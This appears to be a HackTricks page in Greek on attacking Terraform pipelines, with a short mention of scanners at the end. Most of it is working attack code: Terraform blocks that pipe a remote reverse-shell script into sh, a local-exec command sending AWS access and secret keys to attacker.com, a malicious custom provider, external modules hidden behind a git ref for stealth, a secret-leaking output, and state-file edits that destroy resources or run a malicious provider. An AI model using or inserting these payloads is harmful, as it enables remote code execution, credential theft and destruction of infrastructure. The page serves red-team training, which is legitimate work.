Terraform Security

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Από τα έγγραφα:

Το HashiCorp Terraform είναι ένα εργαλείο υποδομής ως κώδικα που σας επιτρέπει να ορίσετε τόσο πόρους στο cloud όσο και on-prem σε αρχεία ρυθμίσεων που είναι ευανάγνωστα από ανθρώπους και μπορείτε να τα εκδόσετε, να τα επαναχρησιμοποιήσετε και να τα μοιραστείτε. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε ένα συνεπή ρεύμα εργασίας για την παροχή και διαχείριση όλης της υποδομής σας καθ' όλη τη διάρκεια του κύκλου ζωής της. Το Terraform μπορεί να διαχειριστεί συστατικά χαμηλού επιπέδου όπως υπολογιστές, αποθήκευση και δίκτυα, καθώς και συστατικά υψηλού επιπέδου όπως καταχωρήσεις DNS και χαρακτηριστικά SaaS.

Π

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Χρήση προσαρμοσμένου παροχέα

Ένας επιτιθέμενος θα μπορούσε να στείλει έναν προσαρμοσμένο παροχέα στο Μητρώο Terraform και στη συνέχεια να τον προσθέσει στον κώδικα Terraform σε ένα κλαδί λειτουργίας (παράδειγμα από εδώ):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Ο πάροχος κατεβάζεται στο init και θα εκτελέσει το κακόβουλο κώδικα όταν εκτελεστεί το plan.

Μπορείτε να βρείτε ένα παράδειγμα στο https://github.com/rung/terraform-provider-cmdexec

Χρησιμοποιώντας μια εξωτερική αναφορά

Και οι δύο επιλογές που αναφέρθηκαν είναι χρήσιμες αλλά όχι πολύ αόρατες (η δεύτερη είναι πιο αόρατη αλλά πιο περίπλοκη από την πρώτη). Μπορείτε να εκτελέσετε αυτήν την επίθεση ακόμα με έναν πιο αόρατο τρόπο, ακολουθώντας αυτές τις προτάσεις:

  • Αντί να προσθέσετε το αντίστροφο κέλυφος (rev shell) απευθείας στο αρχείο terraform, μπορείτε να φορτώσετε έναν εξωτερικό πόρο που περιέχει το αντίστροφο κέλυφος:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Μπορείτε να βρείτε τον κώδικα του αντίστροφου κελύφους στο https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Στο εξωτερικό πόρο, χρησιμοποιήστε το χαρακτηριστικό ref για να κρύψετε τον κώδικα αντίστροφου κελύφους του Terraform σε ένα κλαδί μέσα στο αποθετήριο, κάτι σαν: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Εφαρμογή Terraform

Η εντολή εφαρμογής του Terraform θα εκτελεστεί για να εφαρμοστούν όλες οι αλλαγές, μπορείτε επίσης να το καταχραστείτε για να λάβετε RCE εισάγοντας ένα κακόβουλο αρχείο Terraform με local-exec. Απλά χρειάζεται να βεβαιωθείτε ότι κάποιο φορτίο όπως τα παρακάτω τελειώνει στο αρχείο main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Ακολουθήστε τις προτάσεις από την προηγούμενη τεχνική για να εκτελέσετε αυτήν την επίθεση με έναν πιο αθόρυβο τρόπο χρησιμοποιώντας εξωτερικές αναφορές.

Ροές Απορρήτων

Μπορείτε να έχετε κρυφές τιμές που χρησιμοποιούνται από το terraform να διαρρεύσουν εκτελώντας το terraform apply προσθέτοντας στο αρχείο terraform κάτι σαν:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Κατάχρηση Αρχείων Κατάστασης του Terraform

Στην περίπτωση που έχετε πρόσβαση εγγραφής σε αρχεία κατάστασης του terraform αλλά δεν μπορείτε να αλλάξετε τον κώδικα του terraform, αυτή η έρευνα παρέχει μερικές ενδιαφέρουσες επιλογές για να εκμεταλλευτείτε το αρχείο:

Διαγραφή Πόρων

Υπάρχουν 2 τρόποι για την καταστροφή πόρων:

  1. Εισαγωγή ενός πόρου με ένα τυχαίο όνομα στο αρχείο κατάστασης που δείχνει στον πραγματικό πόρο προς καταστροφή

Επειδή το terraform θα δει ότι ο πόρος δεν πρέπει να υπάρχει, θα τον καταστρέψει (ακολουθώντας το πραγματικό αναγνωριστικό του πόρου). Παράδειγμα από την προηγούμενη σελίδα:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Τροποποιήστε τον πόρο που θα διαγραφεί με έναν τρόπο ώστε να μην είναι δυνατή η ενημέρωσή του (έτσι θα διαγραφεί και θα αναδημιουργηθεί)

Για ένα παράδειγμα με ένα EC2 instance, η τροποποίηση του τύπου της εικονικής μηχανής είναι αρκετή για να κάνει το terraform να το διαγράψει και να το αναδημιουργήσει.

RCE

Είναι επίσης δυνατόν να δημιουργήσετε έναν προσαρμοσμένο πάροχο και απλά να αντικαταστήσετε έναν από τους πάροχους στο αρχείο κατάστασης του terraform με τον κακόβουλο ή να προσθέσετε έναν κενό πόρο με τον κακόβουλο πάροχο. Παράδειγμα από την αρχική έρευνα:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Εργαλεία Ελέγχου

  • tfsec: Το tfsec χρησιμοποιεί στατική ανάλυση του κώδικα terraform σας για τον εντοπισμό πιθανών λαθών ρύθμισης.

  • terascan: Το Terrascan είναι ένας αναλυτής στατικού κώδικα για το Infrastructure as Code.

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated